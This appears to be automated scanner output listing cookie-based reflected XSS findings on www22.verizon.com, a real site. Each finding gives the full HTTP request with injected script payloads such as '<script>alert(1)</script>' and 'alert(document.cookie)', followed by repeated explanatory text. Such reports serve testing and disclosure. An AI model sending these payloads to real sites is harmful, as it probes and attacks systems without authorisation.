Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX9dc5a<script>alert(1)</script>ffaee59f41a; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b0566'><script>alert(1)</script>3b4fc694588 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HighSpeedInternet/Plans/Plans.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb0566'><script>alert(1)</script>3b4fc694588; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 64fe6'><script>alert(1)</script>4105d1be929 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX64fe6'><script>alert(1)</script>4105d1be929; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload c6090<script>alert(1)</script>3a6bd3d277f was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXc6090<script>alert(1)</script>3a6bd3d277f; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 35690<script>alert(1)</script>38df0f9fff was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX35690<script>alert(1)</script>38df0f9fff; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 72771'><script>alert(1)</script>21ee040eba0 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX72771'><script>alert(1)</script>21ee040eba0; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload b8b66<script>alert(1)</script>610bbbdabc0 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TXb8b66<script>alert(1)</script>610bbbdabc0; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 6dead'><script>alert(1)</script>2b717bbb720 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/Features/Features.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX6dead'><script>alert(1)</script>2b717bbb720; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 1f761<script>alert(1)</script>60851535953 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/HowItWorks/HowItWorks.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX1f761<script>alert(1)</script>60851535953; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 7743c'><script>alert(1)</script>0e45b930e35 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/HomePhone/FiOSDigitalVoice/HowItWorks/HowItWorks.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX7743c'><script>alert(1)</script>0e45b930e35; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 71316<script>alert(1)</script>167fc43e545 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload bb14c'><script>alert(1)</script>e8da0b240f was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3b7d7'><script>alert(1)</script>002ff3c6653 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Services/BackupAndSharing/BackupAndSharing.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX3b7d7'><script>alert(1)</script>002ff3c6653; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
<html xmlns:vz> <head id="_ctl0_head"><title> Verizon | Essential Services: Backup and Sharing </title><meta name="keywords" content="back up pc, backup pc, pc backup, back up Mac, back up Macin ...[SNIP]... <input type='hidden' id='locationInfo' value='TX3B7D7'><SCRIPT>ALERT(1)</SCRIPT>002FF3C6653 ' /> ...[SNIP]...
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 95522'><script>alert(1)</script>dadb653689f was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Services/SecuritySuite/SecuritySuite.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX95522'><script>alert(1)</script>dadb653689f; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 47fdc'><script>alert(1)</script>e7adc9e2e28 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/Services/TechnicalSupport/TechnicalSupport.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX47fdc'><script>alert(1)</script>e7adc9e2e28; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 77179<script>alert(1)</script>f489fa66323 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/TV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX77179<script>alert(1)</script>f489fa66323; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 4e259'><script>alert(1)</script>887b6957a49 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/TV/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX4e259'><script>alert(1)</script>887b6957a49; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2fbda'><script>alert(1)</script>7cec462b4ab was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/WiFi/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX2fbda'><script>alert(1)</script>7cec462b4ab; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 59255<script>alert(1)</script>d6b028c213b was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/WiFi/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX59255<script>alert(1)</script>d6b028c213b; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/NROneRetail/NR/exeres/0ECAE15E-8F92-465E-B27B-6897F0CAB2C4,frameless.htm#; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX68a71<script>alert(document.cookie)</script>da0afcb6a72; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the dotcomsid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e085a"-alert(1)-"b57e3962a95 was submitted in the dotcomsid cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id="head"><meta http-equiv="X-UA-Compatible ...[SNIP]... and High-Speed Internet Features | About FiOS',''); function startmenu() { } var mvzOptIn="N"; var strdotcomval = "e085a"-alert(1)-"b57e3962a95" if(mvzOptIn != 'Y' || strdotcomval == "") { var m_view = new VZT.MasterNavView(); var m_model = {container: document.getElementB ...[SNIP]...
The value of the vzpers cookie is copied into the HTML document as plain text between tags. The payload 1d99d<script>alert(1)</script>ac00a6cdf76 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutFiOS/Overview.aspx HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; vzapps=STATE=TX; NSC_xxx22_tqmbu_mcw=ffffffff895bc66945525d5f4f58455e445a4a423660; RVServiceLocation=TX; BTagRequired=N; showpromo=N; vzpers=STATE=TX1d99d<script>alert(1)</script>ac00a6cdf76; vsrecentsearches=%26%2339%3b~~~~; refURL=http://www22.verizon.com/Residential/HighSpeedInternet/CheckAvailability/CheckAvailability.htm; VzApps=STATE=TX; canigetfios=Y; ContextInfo_State=TX; Source=CHSI; myservices=vzdock=N; BusinessUnit=residential; autosuggest=on; V347=0; CP=null*; ASP.NET_SessionId=y44x4rr1epl4it451swfoua3; ak-sf=false; CMS_TimeZoneOffset=360;
The value of the vzpers cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f5079'><script>alert(1)</script>eca1b129867 was submitted in the vzpers cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
